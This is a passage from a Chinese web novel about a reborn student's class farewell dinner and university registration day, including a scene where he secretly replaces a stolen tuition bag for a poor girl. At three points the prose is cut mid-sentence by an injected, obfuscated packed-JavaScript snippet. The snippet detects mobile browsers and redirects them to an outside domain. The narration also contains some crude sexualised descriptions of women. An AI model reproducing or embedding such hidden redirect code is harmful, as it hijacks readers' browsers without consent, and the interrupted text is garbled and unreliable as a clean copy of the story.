只能说两口子也太兜得住，除了单位上几个天天见面的同事，高考完这么久了，两人硬是没跟谁讲过，陈让高考整了多少分。 把几个大领导送走后，陈让回到饭桌，发现大舅跟大舅妈不见了。 一直到升学宴结束，宾客尽散，也再没见过。 后来老妈告诉陈让，大舅跟大舅妈、饭都没吃完，就扔下筷子、气鼓鼓走人了。 陈总自是嗤之以鼻。 哦，只准你们滋别人，不准别人滋你们？ 玩不起就别玩啊！ 值得一提——陈让办完升学宴后没几天，黄博文家也办了升学宴。 然后他也在升学宴上被亲戚蛐蛐了，有个老登说他太老实、以后出社会了会吃亏。 大黄哥就很烦。 偷偷问坐在隔壁桌的陈让，有没有办法怼回去。 陈总一直偷听着呢，沉吟片刻后开口： “大黄，你就这么说，我是‘人老实、话不多’，你个老登，属于是‘人老、实话不多’！” 大黄哥最近对陈总有种迷之信赖。 还真就照着做了。 然后就被大黄爸当场揍了一顿。 第60章 突如其来的骚 第六十章突如其来的骚 日子就这么一天天过着，很快到了八月下旬——眼瞅着都要去大学报道。 班级QQ群里，大家伙儿聊天的话题，也从怎么玩、变成了对大学生活的向往。 陈让平常都是把班级群屏蔽了的，隔个几天，才会解除屏蔽，翻翻历史信息，看看有没有什么瓜可以吃。 群里面讨论大学生活、整得热火朝天，陈总这个“过来人”，当然没兴致参与。 黄博文倒是兴致勃勃。 用的电玩城吧台电脑，劈里啪啦打着字，跟尼玛在玩劲舞团似的。 陈让边上看着，不由翻白眼。 “大黄，你可以啊，年纪轻轻的，就学会了上班摸鱼，义父我也不担心你以后被狗资本家们剥削了。” 黄博文还了个更大的白眼。 “小陈，你还好意思说别人是狗资本家，你才是最狗的那一个好吧，数一数我在咱们电玩城，担任了多少职务吧。” 他掰着手指。 “技术部主管、销售部主管、人事部主管、宣传部主管……哦，现在我还要兼职收银跟会计……老子现在去住宾馆，别人都不收我的。” “为啥？” “说住不下这么多人！” “哈哈，大黄，你好幽默哦！” 陈让笑得肩膀抽搐，然后开始给黄博文上价值。 “我的大黄哥，正所谓能者多劳——” 上完价值后，黄博文眼中满是愚蠢的清澈，又干劲十足、给某人当牛做马了。 怎么说呢—— 作为一个成熟的狗资本家，如何剥削他人的剩余劳动价值，已经成了陈总的本能。 可怜的大黄哥，自然而然的、就成了陈总重生后、第一个剥削和压榨的对象。 一个人身兼数职就罢了，陈让还不给他发工资。 理由也很充分。 小老板也是老板啊，哪有老板还要领工资的，咱们电玩城又没上市。 其实黄博文肩上的担子，也不是一开始就这么重的。 某人循序渐进、慢慢加上去的。 每加一个职务，就吹他一顿彩虹屁。 “能者多劳。” “大黄哥，这个工作只能你干、别人我信不过。” “黄博文同-志、组织上经过慎重考虑、决定进一步提拔你、委派你一个充满挑战性的工作。” 诸如此类。 反正就是老母猪带胸-罩、一套又一套。 重样了都算陈总输！ 大黄哥是个老实孩子，很快迷失在了彩虹屁里，等他反应过来时、才发现电玩城许多原本应该陈让干的工作，都落他身上了。 他每天忙的脚不沾地。 陈让这个狗比却闲得很。 每天不是跟那些个JK小姐姐聊骚，就是在QQ上跟林大校花打情骂俏。 甚至还抽得出时间看《斗破苍穹》，明明是在贴吧看盗版，看完后还跑去狂喷土豆这个德州出来的大白金，骂人家是拖豆。 好在土豆哥没惯着他，很快就把他禁言了。 现在的大黄哥，真就是字面意义的度日如年，数着天天过日子的。 这大概也是他对大学生活，充满向往的一个原因吧。 进了大学，就不用再被小陈剥削和压榨了。 又在群里聊一阵后，黄博文问陈让。 “小陈，你对大学生活，就没点看法？” “大学生啊，活儿挺好的。” “喵喵喵？” 还能这么断句的？ 小陈就是小陈，何止是牛逼，简直是牛逼。 …… 八月二十七号，距离报名还剩三天时，班上组织了最后一次聚会。 向来不参加无谓社交的陈让也去了——因为班主任周淑芬也会出席。 聚会是李文韬张罗的。 高三六班还剩一千多块的班费没花完。 本来想按人头退给大家。 不过这年头又没有线上支付，一个一个的退，那是真的繁琐。 李大班长一拍脑袋，干脆组织了高中生涯最后的一次聚餐，都给花掉。 不够的部分，大家再按人头均摊。 李文韬情商还是够的，专门邀请了周淑芬，并且以班级的名义，给周老师准备了一份礼物。 地点选在了德州最火的一家火锅店。 班上同学基本上都来了。 毕竟不来、属于自己的那份班费也不会退。 按照惯例，作为高三六班的常务副班主任，正式动筷子之前，李文韬小讲了几句。 “同学们，不知不觉、暑假也快过完了，再过几天，咱们就都是大学生。我提议，大家先干一杯，对过去三年高中生活的怀念，也是对未来大学生活的展望。先说好啊，都不许喝饮料，必须得喝酒！” “至于为什么——咱们喝下去的是酒，吐出来的就是成熟！” 陈让心想李大班长今天这几句话倒是整挺好，听起来也没那么油。 正想夸他几句。 却听这家伙继续开口： “咳，鄙人不才，几天前在QQ空间写了这么几句话，饮我半生流离，醉我一世荒唐，这一杯酒，我先干为敬！” 说完端起酒杯，喝了个底儿朝天。 陈总脸颊不住抽搐。 这小子怎么就不经夸呢？ 他敢打赌，最多不过五年——某个深夜，李大班长就会感到极度的羞耻，然后把QQ空间这些“脚、扣、厅”的文字全给删掉。 不过讲道理的话，这时确实挺流行这种中二风。 李文韬这番话，得到了不少掌声。 大家伙儿也都学着他，举起酒杯，说了几句自以为成熟的话。 这个世界似乎就是如此。 大人们拼命装嫩，年轻人则在拙劣的扮成熟。 作为在场唯一大人，周淑芬倒也不觉得同学们的发言有什么。 中二又怎么啦，这就是青春。 什么年纪，就该干什么年纪的事。 倒是坐她旁边、一直在跟毛肚较劲的陈让，显得过于老成，没点年轻人该有的样子。 一念至此，周女士碰了碰陈让的胳膊。 “陈让同学，你不说两句？” 于是所有人目光都落到了某人身上。 其实最近班上几次聚餐，已经没什么人想叫陈让了。 这家伙不来，大家还可以愉快的互相装逼。 他一来，都不用说话，杵那儿就能对所有人形成降维打击。 比成绩，人家全市第三，数学省内唯一满分。 事业也搞得风生水起，打造的电玩城持续火爆，光暑假两个月，怕就捞了一两百万。 哪怕是比谈恋爱，这家伙也像后世的华为Mate60——遥遥领先。 夏大班花对他上头就罢了，还跟大校花林静姝走那么近。 现在的陈让过于璀璨了，闪耀到众同学觉得他很虚幻。 “额……周老师，我就免了吧。” 陈让摆手。 真没啥好说的。 周女士却没打算就这么放过他，非要他整两句。 陈让只得站起来。 “各位同学，我真没什么感慨……你们知道的，我这人除了有点臭钱，啥也不是啊，要不……我给大家一人发一百的红包？虽然不多——” 众同学眼睛顿时发亮。 零九年的一百块，不算少了，购买力杠杠的！ 却听陈总话音一转：“虽然不多，但是我忍住了！” 众同学：“……” 牟佳佳咬牙切齿：“陈让，你是真的狗！” 陈让蹬她一眼：“大侄女，你闭嘴，有你这么跟叔叔说话的？” 牟佳佳：“……” “鹅鹅鹅——” 这个标志性的鹅叫，肖茜发出来的。 夏灵珊则一直暗戳戳的看陈让，眼中带着浓郁的委屈和怨艾。 “咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528487|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，开个玩笑，活跃下气氛。” 陈总表情总算有些认真了，很有范的摆了摆手。 “既然周老师非要我整两句，那我就献丑了。” “咱们这样的年纪，自负才高八斗、不识天高地厚，本质上却一无所有。” “但我还是希望，大家伙能够牢牢记住现在的自己。” “记住这个谦和又狂妄、骄傲又坦然的自己，记住这个笨拙而热烈、一无所有却能倾尽所有的自己，记住这个永远不会被现实招安、理想主义的自己。” “这是将来进入社会、成为牛马，被现实打击的伤痕累累后，能够支撑大家伙儿继续走下去的、最内核的东西。” 陈让边说、边端起酒杯，遥遥敬了一圈。 “这一杯，我敬大家，敬你们身上星辰般闪耀的少年气，希望大家——出走半生以后，归来仍是少年！” 众人安安静静听着，良久之后，方才响起雷鸣般的掌声。 周淑芬也跟着鼓起了掌。 陈让这番话，可比李文韬先前说的——饮我半生流离、醉我一世荒唐——深刻太多太多。 高中生涯最后这场聚会，班上所有同学都喝了酒，也基本都喝多了。 陈让也喝了个七分醉。 他再怎么拎得清，不愿在无谓社交上耗费精力，也终究不是机器。 还是受了氛围影响，多喝了好几杯。 值得一提的是—— 中间跟陈让产生过一些小罅隙的吴强同学，主动找陈让喝了一杯，还正式跟他道了歉，说他那天在电玩城失态了，让陈让别放在心上。 连对陈让的称呼，也改成了“陈哥”——虽然吴强比陈让要大几个月。 这杯酒陈让喝了，还拍了拍吴强的肩膀。 真能跟吴强共情——谁当年不是那么过来的。 虽说一个少年郎，一无所有时的热烈和喜欢、占有欲和嫉妒心，本质上啥也不是，但它真的不应该被嘲笑。 吴强喝完酒后，叹声说：“哎，陈哥，肖茜同学已经找我聊过了，明确跟我说了她一点都不喜欢我，我难受了好几天，却也拎清楚了，强拧的瓜不甜。” 陈让：“强拧的瓜是不甜，但是它解渴啊。” 吴强：“喵喵喵？” “咳——”陈让摸了摸鼻子，“吴同学，我的意思说，你有清晰的自我认知，你陈哥我非常欣慰，其实大学里的妹子多了去，以你的条件，找到适合你的女朋友，绝对不难。” 吴强并不丑，家里也有小钱，不是那种真找不到女朋友的。 不过他要继续把目标放肖茜身上，就属于没逼数。 肖茜挺漂亮。 没能成为班花、是因为班上有夏灵珊。 输给她又不丢人。 就跟夏灵珊没能成为校花、是输给了林静姝，也不丢人一样。 肖茜家庭条件也不差，跟夏灵珊家属于一个阶层。 “陈哥，承你吉言——那你有什么建议给我不，以我这个条件，该找什么样的女朋友啊？” 或许是触发了“女朋友”这个关键词。 班上许多母胎单身的男生，都竖起了耳朵。 等着陈让这个恋爱达人给吴强传道受业解惑，他们也好取点经。 陈总想了想后，开始比手指提建议。 “第一，她要能让你开心，这叫情绪价值。” “第二，她要有自己的事业，这叫物质基础。” “第三，她要喜欢做家务，最好还会下厨，这叫会过日子。” 吴强越听眉头皱得越严重。 “陈哥，你在讲科幻故事吧，这么多优点的女孩子，我真能找得到？” “听我说完好吧，还有最关键的点——” 陈让竖起了第四个手指头。 “千万别让她们三个见面！” 吴强：“……” 一众男生：“……” 还得是你陈总。 突如其来的骚，闪了大家的腰。 第62章 报名日（2） 第六十二章报名日（2） 夏援朝表情无奈。 临走前拍了拍陈让肩膀。 “小陈，你夏叔就这一个女儿，接下来就交给你了啊，你可一定要照顾好灵珊。” 一米八好几、将近两百斤的汉子，此刻竟是虎目含泪。 陈让瘪瘪嘴，心想老夏你大抵也是个戏精。 我只是谨遵我家太后懿旨，送你女儿去报个名，又不是把你女儿娶回家——咱何必整这么煽情？ 老夏走后，陈让扫了夏灵珊一眼，发现她居然有两个行李箱。 不由在心里吐槽——这婆娘大抵是有病吧，这是准备把家都搬到学校去？ 夏灵珊满脸的希冀——显然希望陈让帮他拎一个。 但是她失望了。 陈让自顾自进站。 最后还是大黄哥看不过去，帮她拎了个大的。 接下来就是安检、验票、找位置。 十来分钟后，火车再次启动，直奔终点蓉城火车北站。 黄博文颇为兴奋，不住打量车窗外。 陈让也趴在车窗前、跟黄博文一起看风景。 正是丰收时节。 车窗外是大片大片的农田，金黄饱满的稻穗正摇曳身姿。 已经有农民伯伯在收割了。 收割机风卷残云般，一割就是大片。 哥俩都看得津津有味。 男孩子嘛，基本都对大型机械有种迷之喜欢。 夏灵珊位置不靠窗，也对收割机毫无兴趣——她在偷看陈让。 从她的角度，能完整看到陈让的侧脸。 从男孩变成男人，到底是循序渐进，还是刹那的？ 高三时，陈让都还是个娃娃脸。 只是过了个夏天、就变得轮廓分明了，颔下也多了些淡青胡茬。 两个小时后，三人下了火车站。 行人如织，乌泱大片，涌向出站口。 到了出站广场，陈让计划着行程。 蜀州大学跟电子科大方向不同，接下来黄博文得自己坐公交。 他跟夏灵珊虽说都在蜀大，却也不在一个区。 先把夏灵珊送到江安校区，等她报完名后，陈让还得到坐车到本校区报名。 好在本校区跟江安小区是有校车的。 不过一路舟车劳顿总免不了。 今天注定会很累。 “小陈，等过几天空了，我来蜀大找你玩。” 黄博文边说边往公交站牌走。 走两步后，却停住了，指着某个方向。 “小陈——” 陈让看了过去。 发现一个头发灰白、穿着朴素的老奶奶，正蹲在地上大哭。 身边蹲着个小姑娘。 头发枯黄、身材瘦削，看起来像是个初中生。 “小陈，好像是……这位老奶奶的钱，被贼娃子给偷了……” “是么？” 陈让第一反应是遇到了骗子。 零九年的火车北站，骗子海了去。 套路之多，只有想不到的、没有演不出来的。 不过细细观察后，陈让否了这种猜测。 骗子们再怎么业务娴熟，也会有刻意表演的成分。 瞒得过大黄哥这种愚蠢又清澈的少年，却不可能瞒得过陈总的“火眼金睛”。 眼前的老奶奶跟小姑娘，显然不是。 “过去看看。” 走过去问了一阵后，陈让获取了一些关键信息。 小姑娘叫“阿衣那”，居然不是初中生，而是跟他们一样的准大学生。 看着幼态，想来是营养不良。 阿衣那跟自己奶奶都来自青川，蜀省出了名的贫困县。 出站后发现兜里学费不见了——那可是卖了家里仅有三头羊才凑出来的。 对阿衣那和她奶奶来说，几乎就是天塌。 至于阿衣那父母为什么没有陪同——她爸妈都死在了去年五月份。 去年是零八年，时间又是五月份，地点还是在青川县——那场天灾受灾最严重的地区之一。 老奶奶跟阿衣那确实可怜，凑过来关心的，也不止陈让三人，还有好些个大一新生。 学长学姐们是不会这么早来的。 后天才轮到他们报名。 “奶奶，能仔细说说么，你具体丢了多少钱，是钱包装着的，还是就揣兜里的……” 此时正在安慰老奶奶的、是个身材高挑的女孩子。 戴着个鸭舌帽，遮住大半面容。 单从露出来的小半张脸、以及白嫩又清晰的下颚，却也看得出来，她颜值非常高。 跟夏灵珊比、怕也不遑多让。 通过她同伴对她的称呼，陈让知道了这位大美女的名字——很好听，赵兰蕤。 老奶奶边哭边告诉赵同学，说是一个黑色塑料袋子装着的，里面有五千八百块钱。 赵兰蕤不住问身边人，有没有看到过这个黑色塑料袋。 答案当然是都没有。 钱就不可能是老奶奶马虎弄丢的，而是碰到了贼娃子。 零九年的蓉城火车北站——在这里你能见识到这个世界近乎所有骗术，以及来自大江南北、各个流派的“佛爷”。 陈让抑制不住叹了口气。 麻绳专挑细处断，厄难专找苦难人。 他决定做点什么，也恰好有那个能力。 “奶奶，你确定是个黑色袋子装的，里面有五千八百块钱？” 陈让看向老奶奶。 老奶奶点头，跟陈让说，是黑色塑料袋装的，也的确是五千八块钱，她出门前还专门点过。 陈总开始发挥演技。 “别说，我刚才出站时，在垃圾桶旁边，还真看到过一个黑色塑料袋……奶奶，还有这位小妹妹，你们等着，我腿长，去找找……” 说完往站内走。 “同学……等等！” 赵兰蕤一看就是个热心肠，快步追上陈让。 两人进站后，陈让却停下脚步，视野左右逡巡。 他在找取款机。 赵兰蕤急了。 “同学，你怎么停下了，咱们快去找那个黑色塑料袋啊，别被人捡走了……” 陈总抬了抬眼皮。 “赵同学，很遗憾，我根本没看到过什么黑色塑料袋，老奶奶的钱，百分百是被偷了的。” “那你……”赵兰蕤先是皱起眉头，接着杏眼一瞪，“同学，有意思么，老奶奶跟阿衣那已经够可怜了，你还骗她们！” “还有——你怎么知道我姓赵？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528489|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还知道你叫赵兰蕤呢，刚听你同伴叫过你的名字——”陈让耸了耸肩，“赵同学，这个世界许多时候都是残酷的……所以需要一些善意的谎言。” 赵兰蕤疑惑目光注视下，陈总指了指边上的便利商店。 “你去买个黑色塑料袋，我去取钱。” “这——” 几分钟后，陈让取好了钱。 赵兰蕤站他身后，手里拿着个黑色塑料袋，欲言又止模样。 “傻站着干嘛，塑料袋给我啊。” “同学，这可是将近六千块钱，你一个人出？要不……咱俩一人一半吧。” “你不早说？” “额……” “一人一半，那就是一人两千九，算我吃点亏，四舍五入一下，你待会儿给我三千。” “……” 不等赵兰蕤再说什么，陈让从她手中抓过塑料袋，把钱叠好塞里面，往出站口走。 “这家伙……” 赵兰蕤愣了一会儿方才跟上。 几分钟后，陈让边把黑色塑料袋塞给老奶奶边说： “奶奶，这次算咱运气好，袋子没被人捡走，恰巧还被我看到了……以后咱可得仔细了。” 老奶奶接过装钱的袋子后，先是一喜——还真找到了？ 却又面露疑惑。 这个伢子给她的、的确是黑色塑料袋，但跟她原本那个、似乎不一样。 困惑之下，老奶奶就要打开。 却被陈让制止。 “奶奶，财不露白。” 老奶奶怔怔看了陈让好几秒，似乎是给劝住了，又仿佛明白了一切。 “丫头，我们这是碰到了好心人啊——” 就要拉着孙女儿、给陈让下跪。 陈总哪里敢受。 连忙将老奶奶搀着。 “奶奶，您这不折我的寿么，我就举手之劳……” 老奶奶跪不下去，于是问陈让的名字。 “奶奶，我叫吴强，蓉城理工大学的！” 老奶奶重复着陈让的话，显然是在努力记住。 “阿衣那，你哪所大学？” 陈让多问了一嘴儿。 送佛送到西。 老奶奶和阿衣那，一看就毫无社会经验。 别前脚挨了小偷，后脚又给骗子惦记。 此刻许多人都在围观，天知道里面有多少骗子。 零九年的火车北站，差不多就是整个川A地区的道德洼地。 “哥哥，我电子科大的。” 陈让道了句“好巧”，然后看向黄博文。 “大黄，那就交给你了？” 倒没想到，阿衣那成绩会这么好。 虽然彝族地区有政策，录取分数线会低个大几十分。 但是阿衣那能上电子科大，却也足见她付出的努力、洒下的汗水。 青川这种地方，教育资源多匮乏啊。 黄博文赶紧拍胸脯，说包在他身上，一定全程护送。 几分钟后，目送老奶奶、阿衣那和黄博文，上了开往电子科大的公交车，陈让眼中满满都是愉悦。 他的确是个狗资本家。 最擅长就是把员工忽悠成牛马，可劲儿剥削“剩余劳动价值”。 但他心中，终究还有柔-软。 第63章 报名日（3） 第六十三章报名日（3） “走吧，夏同学，送你去报名。” 陈让冲夏灵珊摆摆手，然后准备打计程车。 作为净资产A8级别的富人，陈总肯定不会选择坐公交的。 “吴强同学，你别急着走——” 赵兰蕤将陈让叫住。 此时她已取下鸭舌帽，露出一张十分精致的梨形脸。 这种脸型，通常很难出大美女，毕竟上窄下宽，不符合标准美学。 却也有例外——譬如董卿、**和黎姿。 赵兰蕤整体脸型跟黎姿就特别像，只要微微一笑，脸上就会出现梨涡。 两个梨涡不仅添了她的高贵感，还中和了她眉宇间略偏男性化的英气，用后世的话来描述——那就是“又美又飒”。 “赵同学，有事儿？” “吴同学，你把银行卡号给我呀，回头我就把那三千块转给你。” “噗——赵同学，我就跟你开个玩笑。不装尬逼——我这人唯一优点，大概就是有几个臭钱。” “额……你富二代？” “富二代他爹——我富一代！” “……” 脸颊抽了抽后，赵兰蕤话音一转。 “吴同学，我看你刚才忙上忙下的，肯定又热又渴吧，山水有相逢，后会亦有期，请你吃个冰淇淋你再走？” “吃冰淇淋可以，但我吴强可没有让大美女买单的习惯，还是我请你吧。” 说着往不远处的冰淇淋店走，走两步又回过头，看向夏灵珊。 “那个谁，你要不要？” “……” 夏大小姐好气。 某人叫她“夏同学”，她就很气了，更别说“那个谁”。 她跺跺脚。 “肯定要啊——我也又累又渴！” “那你记得把钱给我啊，我没有随便请客的习惯。” “那你为什么请她？” 夏灵珊指着赵兰蕤。 “夏同学，耳朵不好咱就去省医院挂个号——”陈让翻白眼，“我刚说的很清楚，没有让大美女买单的习惯，赵同学是大美女，你又不是。” 夏灵珊：“……” 眼前这个女孩儿、的确是个大美女。 一米七二左右的净身高，身材比例还特别好。 上半身的米色短袖，完全被饱满胸-部撑起来了，显得颇为紧凑，牛仔裙包裹的臀线，也是十分圆润，整体给人一种十分健康、月经也格外规律的感觉。 不过单比五官，显然还是夏灵珊更精致一些——赵兰蕤胜在身材。 气质的话，两人各有胜场，算是难分轩轾。 陈让说赵兰蕤是大美女，自己不是——夏灵珊暗戳戳比较后，还是挺不服气的。 现实层面而言，能让夏同学服气的、也就林静姝一人。 眼前这个女孩儿，比那朵悬在云端的高岭之花，终究差着档次。 此时陈让已经选了四个甜筒，然后问老板多少钱。 为什么是四个——赵兰蕤也不是独身一人。 她身边还有个女伴，身高150出头，体重大概也是这么多。 穿身花衬衫、带着墨镜，很有范儿的老板，跟陈总比起了四根手指。 “这么便宜——才一块钱一个？” 陈总有些诧异。 类似的甜筒，德州那边也要卖两块钱一个。 总不能说，省城这边，物价反而更便宜吧。 这就不符合经济发展的客观规律。 老板翻白眼：“同学，什么一块钱啊，十块一个！” 陈让：“……” 感觉被砍到大动脉了。 知道火车站附近的东西贵，却没想到这么离谱，这都溢价两三倍了吧。 就想放下甜筒，去别的店买。 至于会不会被嘲笑——陈总表示，人总不能为了面子，连钱都不要了吧？ 扫视一圈，却发现附近就这一家冰淇淋店。 都“垄断经营”了，贵也是有道理的——就挺符合经济发展的客观规律。 陈让只得忍着肉痛。 “老板，十块一个也太贵了吧，我买四个呢，给抹个零……” “同学，四十块整，怎么给你抹？” “那打个八折呗，给你三十二……” 老板权衡后，选择了同意——毕竟打八折、他也是血赚。 此时赵兰蕤边上那个胖妞、却开始蛐蛐陈总。 “切，还说自己是富一代呢，十块钱一个的甜筒都买不起，装什么大款啊？” 考虑到女性肌肉含量比男性低了不少——身高和体重都差不多150是什么概念啊，差不多可以看成不明球形物体了。 胖妞肯定是没有男生追的，但这并不妨碍她的心高气傲。 毕竟好姐妹有很多追求者。 四舍五入一下，不就相当于自己也有很多人追？ 那些个男生，可都大方得很——起码不会讨价还价。 所以胖妞是真挺瞧不起陈总。 还没被社会毒打过的年轻人，就是如此的奇怪——绝大多数、竟都觉得讨价还价是个掉面子的行为。 赵兰蕤倒没这种想法。 她剜了胖妞一眼：“语嫣，别乱说话。” 胖妞缩了缩脖子，没有再蛐蛐。 陈让没憋住：“语……语嫣？” 胖妞气鼓鼓：“笑什么，我就不能叫语嫣？” “可以，当然可以，不叫‘灵儿’就行。” 陈让努力敛了笑意，掏出两张二十块的钞票，递给了黑心老板。 老板正准备找零，某人却很大气的摆摆手。 “不用找了，那八块钱算小费——谁让我是个富一代呢。” “喵喵喵？” 诧异之下，老板摘下了墨镜，脸颊抽搐着、打量了陈让好几眼。 同学，可以的，还能这么装的？ 赵兰蕤笑得花枝招展。 “吴同学，你这人……可真太有意思了，要不我们加个QQ吧？” 陈让还没说什么，边上夏灵珊就满脸敌意的说：“赵同学，他没有QQ。” 说完拉着某人就走。 夏同学是真有些慌了，觉得真让这两人加了QQ，指不定她就真要失去小陈了。 几分钟后，出租车上，陈让很不爽的说：“夏灵珊，你是不是有点僭越了啊，我怎么不知道我没有QQ？” 其实他也没打算加赵兰蕤的QQ。 没有夏灵珊阻扰，大概也会找个理由搪塞。 结果是那个结果，过程却不该是这么个过程——怎么也轮不到夏灵珊越俎代庖吧。 夏灵珊气鼓鼓的说：“小陈，随你怎么想吧，反正我就是不允许你跟别的女孩子聊骚，尤其是跟先前那头骚狐狸！” “你我妈啊，管这么宽！” 陈让瞪她一眼。 夏灵珊跟他对视，眼中又泛起浓烈的委屈。 “哎，夏同学，算我求你，放我一马吧。我跟你说，大学里面优秀男生多得是，以你的颜值，进了大学，肯定很多人追你的……” “小陈，所以你还是觉得我漂亮的吧？” “这个我还是承认的，毕竟以前的我又没瞎。” “跟那个赵同学比呢？” 陈让摸了摸有些淡青胡茬儿的下巴。 “虽然赵同学身材比你好，但是——” 夏灵珊立马接过话茬儿。 她很是傲娇的说：“果然还是我更漂亮，小陈，你还是有眼光的！” “能不能听我把话说完啊？”陈让翻白眼，“虽然赵同学身材比你好，但是她也比你漂亮啊。” “你不觉得她长得像黎姿？笑起来超可爱，不笑时又带着些高贵，人家那气质，啧啧啧……” “……” 夏同学突然就很受伤了，红润嘴巴撅了起来。 以至于从火车北站到江安校区，一个小时车程，再没跟陈让说过一句话。 这正是陈总想要达到的效果。 乐得耳根清净。 下车后，夏灵珊晕车了。 省城就是省城，出租车司机都比德州的牛逼。 简直拿自己当藤原拓海。 转弯是不可能正常转弯的，刹车也不可能正常刹车的，不是漂移过弯就是急停骤启。 玩的就是心跳！ 看着瓜子脸惨白惨白，蹲路边干呕的夏灵珊，陈让无奈，只得从背包里拿了瓶矿泉水递给她。 夏灵珊接过，拧了拧却没拧开，于是又递给陈让，表情可怜巴巴。 “你过去十八年的饭，都白吃的吧。” 陈总只得给她拧开。 喝了两口水，夏灵珊慢慢缓过来了。 接下来就是走流程——报名，缴费，找宿舍。 一个小时后，两人出现在了外国语学院女生宿舍楼下。 陈让不住揉着自己酸疼的胳膊。 夏灵珊可是有一大一小两个行李箱。 过去一个小时，陈让不仅要推自己的行李箱，还要给她推那个大的。 着实给累得够呛。 对于这个，夏同学还是挺感动的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528490|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“小陈，谢谢你……” “不必，你要谢就谢我妈。” “……” 夏灵珊沉默一阵后，幽幽的叹了口气。 “小陈，你别这样好不好，我们和好吧。” “夏同学，好歹九八五大学生，你用词能不能严谨点？什么叫和好啊，我们压根就没在一起过啊，也别用那种幽怨的眼神看着我，搞得好像是个对你始乱终弃的渣男。” “小陈，那我做你的女朋友，我们还像以前那样……我才不管大学里面有多少优秀男生呢，除了你，我谁都不想要！” 看着满脸希冀的夏灵珊，陈让答非所问。 “夏同学，你大概也累坏了吧，赶紧回宿舍，然后踏实睡一觉。” “额，现在才刚到中午啊，我又不困，睡什么觉？” “我的意思是，你赶紧做个白日梦，梦里啥都有。” 夏灵珊：“……” 她显然还想再说点什么，陈让却没给她机会。 把行李箱推给她后，转身扭头就走。 又一个多小时后，陈让坐着校车，到了位于武侯区的蜀大本校区。 相较于江安校区的恢弘大气和富丽堂皇，本校区这边，无论校门还是校内建筑群落，都显得古旧和沧桑，却有着新校区绝对没有的人文气息。 毕竟蜀州大学的前身，乃是蜀州中西学堂，1896年建校——什么概念啊，这时候老佛爷都还在呢。 新生报名日，校门口肯定热闹。 叫喊声、喇叭声，喧闹声，声声入耳。 人群川流不息，熙熙攘攘。 陈让没有立刻进校门，而是眯着眼睛，在校门口立了一会儿——因为他发现、蜀州大学本校区的妹子，相较于江安校区，质量是真的高。 陆陆续续走进校门的妹子们，小腿葱白如玉，腰臀丰满有致，脸蛋儿清纯中带着明媚，满满都是青春飞扬的气息。 此情此景，非著名意识流诗人陈富贵，选择了吟诗一句。 “远看白大腿，近看大腿白！” 别笑，这就是陈总作诗的真实水平。 跟“大明湖、明湖大，大明湖上有荷花，荷花上面有**、一戳一蹦跶”的张宗昌张大帅，属于同段位选手。 吟诗完毕，陈让正准备进校报名，耳边传来一个带着明显惊喜的声音。 “吴……吴强同学？” 循声望去，首先映入眼帘的、是两条好长的大白腿。 视线再往上，则是饱满又圆润的胸-部弧线。 最后才是那张精致的俏脸——可不是赵兰蕤同学。 赵兰蕤惊喜中带着疑惑：“吴同学，你不是蓉城理工大学的么，怎么到我们蜀大来啦，来找同学玩的？” 陈让也有些意外，暗道一句“好巧”——她原来也是蜀大的。 笑了笑后，某人开口：“咳，赵同学，重新认识一下吧，我叫陈让，蜀州大学经济学院大一新生。” “原来……” 赵兰蕤先是一愣，两三秒后反应过来了——为什么吴强同学不叫吴强、而是叫陈让。 肯定是怕老奶奶跟阿衣那反应过来后，找到他还钱吧，所以撒了个谎。 这个男孩子，表面上看起来玩世不恭，内心居然这么的温暖。 她内心深处、某根掩藏极深的弦儿，就这么的、被轻轻拨动了一下。 赵兰蕤浅浅一笑：“我法学院的。陈让……这个名字可比吴强好听多了，那么……陈让同学，你真的没有QQ？” “那肯定是有的啊，我又不是火星人。” “懂了，刚才那个很漂亮的瓜子脸女生，是在吃醋吧，你俩到底什么关系啊，同学不像同学，恋人不像恋人的。” “这个吧……” 陈让叹了口气，说了句“一言难尽”。 赵兰蕤倒也没有打破沙锅问到底。 她笑吟吟的样子、摸出了自己的手机。 居然是这时候国内非常罕见的苹果3-GS。 可见赵兰蕤家室绝对不差。 “陈让同学，那现在我有那个荣幸，能加你QQ了么？” “我好像……也没有拒绝的理由。” 于是两人加上了QQ。 “陈富贵。” “赵小七。” 两人看着对方的昵称，都小愣了一下。 “富贵是我的小名。” “我在家里排行老七。” 两人近乎同时解释，然后又都噗的笑了。 生活的基调是平淡，但是偶尔也会有些小惊喜，遇到一两个有趣的灵魂。 第64章 整点男人该聊的 第六十四章整点男人该聊的 陈让没有跟赵兰蕤聊太久。 毕竟都快下午三点了，而他还没有报名。 